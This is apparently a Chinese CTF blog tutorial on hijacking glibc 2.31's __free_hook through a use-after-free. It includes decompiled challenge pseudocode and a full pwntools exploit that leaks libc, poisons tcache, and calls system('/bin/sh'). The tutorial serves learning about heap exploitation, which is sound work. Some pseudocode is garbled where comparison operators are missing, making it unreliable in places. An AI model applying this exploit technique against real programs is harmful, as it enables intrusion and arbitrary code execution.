--- title: "【Pwn】堆学习之glibc2.31下的__free_hook劫持" date: "2026-04-27 22:32:18" author: "Lochad" categories: ["堆学习-基于glibc2.31"] tags: [] --- # 【Pwn】堆学习之glibc2.31下的__free_hook劫持 ###   0x0 __free_hook是什么   **·** __free_hook是glibc在执行free时留的一个“钩子函数”，逻辑可以简单理解如下： ``` void free(void *ptr) { if (__free_hook != NULL) { __free_hook(ptr); return; } // 否则走正常free逻辑 } ```   **·** 可以看到，如果我们能控制__free_hook的内容和参数，就能在执行free时执行我们想要的函数。这就是__free_hook劫持。 ###   0x1 __free_hook劫持一般思路   **·** 首先泄露一个libc地址，从而算出libc中的system和__free_hook的地址。   **·** 然后用UAF等方式拿到__free_hook并将其写为system.   **·** 最后准备一个chunk写入”/bin/sh”，然后free这个chunk，就相当于执行system(“/bin/sh”); ###   0x2 例题   **·** 题目： [https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/__free_hook/__free_hook.zip](https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/__free_hook/__free_hook.zip) ####     0x0 保护 ####     0x1 伪码 ``` int __fastcall main(int argc, const char **argv, const char **envp) { int result; // eax init(); while ( 2 ) { menu(); switch ( read_ll() ) { case 1LL: add(); continue; case 2LL: delete_(); continue; case 3LL: edit(); continue; case 4LL: show_qword(); continue; case 5LL: wipe(); continue; case 6LL: result = 0; break; default: result = 0; break; } break; } return result; } ``` ``` void __cdecl add() { unsigned __int64 sz; // [rsp+0h] [rbp-10h] unsigned int idx; // [rsp+Ch] [rbp-4h] puts("idx:"); idx = read_ll(); if ( idx >= 8 ) exit(0); puts("size:"); sz = read_ull(); if ( sz 0x600 ) exit(0); if ( chunks[idx] ) { puts("slot used"); } else { chunks[idx] = (char *)malloc(sz); sizes[idx] = sz; inuse[idx] = 1; printf("gift: %p\n", chunks[idx]); puts("content:"); read_n(chunks[idx], sz); } } ``` ``` void __cdecl delete_() { unsigned int idx; // [rsp+Ch] [rbp-4h] puts("idx:"); idx = read_ll(); if ( idx >= 8 ) exit(0); if ( chunks[idx] && inuse[idx] ) { free(chunks[idx]); inuse[idx] = 0; puts("done"); } else { puts("no"); } } ``` ``` void __cdecl edit() { unsigned __int64 len; // [rsp+0h] [rbp-10h] unsigned int idx; // [rsp+Ch] [rbp-4h] puts("idx:"); idx = read_ll(); if ( idx >= 8 ) exit(0); if ( chunks[idx] ) { puts("len:"); len = read_ull(); if ( len = 8 ) exit(0); if ( chunks[idx] ) { puts("offset:"); off = read_ull(); if ( off + 8 = 8 ) exit(0); if ( chunks[idx] && inuse[idx] ) { free(chunks[idx]); chunks[idx] = 0LL; sizes[idx] = 0LL; inuse[idx] = 0; puts("wipe done"); } else { puts("no"); } } ``` ####     0x2 思路 **·** 保护逻辑几乎为零，可以直接在free一个大chunk后通过show_qword函数泄露head，得到libc地址，从而算出system和__free_hook地址。然后UAF把__free_hook地址返回并向其写入system，最后准备一个写入了”/bin/sh”的chunk并将其free，从而执行system(“/bin/sh”)。详见exp注释。 ####     0x3 exp ``` from pwn import * context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) io = process('./pwn_patched') #io = remote() def menu(idx: int): io.recvuntil('exit\n>') io.sendline(str(idx)) def add(idx: int, size: int, content: bytes): menu(1) io.recvuntil('idx:') io.sendline(str(idx)) io.recvuntil('size:') io.sendline(str(size)) io.recvuntil('content:') io.send(content) def delete(idx: int): menu(2) io.recvuntil('idx:') io.sendline(str(idx)) def edit(idx: int, length: int, content): menu(3) io.recvuntil('idx:') io.sendline(str(idx)) io.recvuntil('len:') io.sendline(str(length)) io.recvuntil('content:') io.send(content) def show(idx: int, off: int): menu(4) io.recvuntil('idx:') io.sendline(str(idx)) io.recvuntil('offset:') io.sendline(str(off)) def wipe(idx: int): menu(5) io.recvuntil('idx:') io.sendline(str(idx)) system_offset = 0x55410 __free_hook_offset = 0x1eeb28 ''' thinking... A = malloc(0x420) B = malloc(0x420) free(A) | unsorted bin[0x430]: head -> chunk_A -> head show(A) | get head -> get libc_base -> get system && get __free_hook C = malloc(0x30) D = malloc(0x30) E = malloc(0x30) && E + 0x00 = '/bin/sh' free(C) free(D) |tcache[0x40]: head -> D -> C edit(D.next, &__free_hook - 0x08) F = malloc(0x30) | tcache[0x40]: head -> &__free_hook G = malloc(0x30) && G + 0x08 = &system | G = __free_hook - 0x08 -> __free_hook = &system free(E) | system("/bin/sh") ''' add(0, 0x420, b'A'*0x420) add(1, 0x420, b'B'*0x420) # 这里申请两个chunk是为了避免free后chunk直接进入top delete(0) # chunk_0进入unsorted bin show(0, 0) # 泄露head地址，接下来用head地址算出libc基址、system地址、__free_hook地址 io.recvuntil('\n') head = int(io.recvuntil('\n', drop=True), 16) print('*****', head, '*****') # gdb.attach(io) head_offset = 0x7f1fb9494be0 - 0x7f1fb92a9000 libc_base = head - head_offset print('*****libc_base: ', hex(libc_base), '*****') system = libc_base + system_offset __free_hook = libc_base + __free_hook_offset print('*****__free_hook: ', hex(__free_hook), '*****') add(2, 0x30, b'C'*0x30) add(3, 0x30, b'D'*0x30) # 这两个chunk未来用来UAF拿到__free_hook地址 add(4, 0x30, b'/bin/sh\0'+b'\0'*0x28) # 这个chunk一来是用来存储"/bin/sh"，二来是用来防止上两个chunk被并入top delete(2) delete(3) edit(3, 8, p64(__free_hook - 0x8)) # UAF向next写入__free_hook。这里-0x8是保证16字节对齐。2.31的__free_hook的偏移是不对齐的。 # gdb.attach(io) add(5, 0x30, b'F'*0x30) # head -> __free_hook add(6, 0x30, b'\0'*0x8 + p64(system) + b'\0'*0x20) # 返回__free_hook - 0x8，同时向__free_hook写入system delete(4) # 此时__free_hook = system, free(chunk_4)等效于system("/bin/sh"); io.interactive() ```